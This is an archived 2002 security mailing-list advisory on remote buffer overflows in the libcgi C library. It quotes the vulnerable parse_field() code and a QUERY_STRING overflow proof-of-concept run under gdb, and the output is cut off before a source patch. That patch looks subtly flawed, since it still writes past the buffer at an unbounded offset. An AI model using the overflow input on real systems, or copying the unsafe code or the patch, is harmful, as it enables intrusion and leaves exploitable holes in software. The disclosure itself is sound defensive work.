

[UNIX] Remote Multiple Buffer Overflow Vulnerability in Libcgi-tuxbr

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0104.html>

From: support@securiteam.com

Date: 11/28/02

From: support@securiteam.com

To: list@securiteam.com

Date: 28 Nov 2002 18:57:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Remote Multiple Buffer Overflow Vulnerability in Libcgi-tuxbr

SUMMARY

<<http://www.tuxbr.com.br/>> LIBCGI is a simple, easy to use, complete set of functions you need to create CGI programs in C. It provides support for both GET and POST request methods, parse of data, URLDecode function, access MySQL functions. A vulnerability in the product has been found allowing remote attackers to overflow an internal buffer causing it to execute arbitrary code.

DETAILS

Vulnerable systems:

* libcgi-1.0.3

* libcgi-1.0.2

Vulnerable code:

Vulnerability occurs because of 'parse_field()' function. In line 129 of 'cgi_lib.c' code:

```
129 void parse_field(char *field, char *rtnfield)
```

```
...
```

```
132 char *ptr,
```

Securiteam: [UNIX] Remote Multiple Buffer Overflow Vulnerability in Libcgi-tuxbr

```
133 *endptr,
134 tmp_field[128];
...
137 sprintf(tmp_field,"%s=",field); // "field1="
138
139 if((ptr=strstr(req_http,tmp_field))!=NULL)
140 {
141 ptr+=strlen(tmp_field); //
"[value]&field2=[value2]&field3=[value3]"
142
143 if((endptr=strchr(ptr,'&'))!=NULL) //
"&field2=[value2]&field3=[value3]"
144 {
145 memmove(rtnfield, ptr, (endptr - ptr)+1); //
here.
146 rtnfield[(endptr - ptr)]='\0';
147 }
...
--
```

Exploit:

There is very good CGI example program. The CGI program uses parse_field(). If we examine the source code:

```
--
6 char name[64], // 64
7 address[64],
8 tel[64];
...
12 parse_field("name",name); // exploitable !
13 parse_field("address",address);
14 parse_field("telephone",tel);
--
```

```
bash$ export QUERY_STRING="name=test&address=test&telephone=test"
```

```
bash$ ./sample3.cgi
```

```
Content-type: text/plain
```

```
***** SAMPLE LIBCGIMYSQL *****
```

```
Name=test
```

```
Address=test
```

```
Telephone=test
```

```
***** FIM SAMPLE *****
```

```
bash$ export QUERY_STRING="name=`perl -e 'print
\"x\"x92`AAAA&address=test&telephone=test"
```

```
bash$ gdb -q sample3.cgi
```

```
(gdb) r
```

```
Starting program: /usr/local/apache/cgi-bin/sample3.cgi
```

```
Content-type: text/plain
```


Securiteam: [UNIX] Remote Multiple Buffer Overflow Vulnerability in Libcgi-tuxbr

```
--- cgi_lib.c Sat Dec 29 07:10:47 2001
+++ cgi_lib.patch.c Thu Nov 21 23:47:13 2002
@@ -126,7 +126,7 @@

//Faz o parse buscando pelo campo na string de request HTTP
-void parse_field(char *field, char *rtnfield)
+void parse_field(char *field, char *rtnfield, int size)
{

    char *ptr,
@@ -142,12 +142,12 @@

    if((endptr=strchr(ptr,'&'))!=NULL)
    {
- memmove(rtnfield, ptr, (endptr - ptr)+1);
+ memmove(rtnfield, ptr, size-1); //(endptr - ptr)+1);
    rtnfield[(endptr - ptr)]='\0';
    }
    else
    {
- memmove(rtnfield, ptr, (strlen(ptr))+1);
+ memmove(rtnfield, ptr, size-1); //(strlen(ptr))+1);
    rtnfield[(strlen(ptr)+1)]='\0';
    }

--- cgi_lib.h Sun Jan 20 06:58:34 2002
+++ cgi_lib.patch.h Thu Nov 21 23:47:05 2002
@@ -37,7 +37,7 @@
/*****/

void SwapChar(char *pOriginal, char cBad, char cGood);
-void parse_field(char *field, char *rtnfield);
+void parse_field(char *field, char *rtnfield, int size);
void get_request(unsigned int method, char *request);
void URLDecode(unsigned char *pEncoded);
void vExiterr();
--- samples/sample3.c Thu Dec 27 05:52:12 2001
+++ samples/sample3.patch.c Thu Nov 21 23:51:14 2002
@@ -9,9 +9,9 @@

    get_request(1,req_http);

- parse_field("name",name);
- parse_field("address",address);
- parse_field("telephone",tel);
+ parse_field("name",name,(int)sizeof(name));
+ parse_field("address",address,(int)sizeof(address));
+ parse_field("telephone",tel,(int)sizeof(tel));

    URLDecode(name);
```

Securiteam: [UNIX] Remote Multiple Buffer Overflow Vulnerability in Libcgi-tuxbr

URLDecode(address);

=== eof ===

ADDITIONAL INFORMATION

The information has been provided by <mailto:xploit@hackermail.com>
dong-h0un U.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.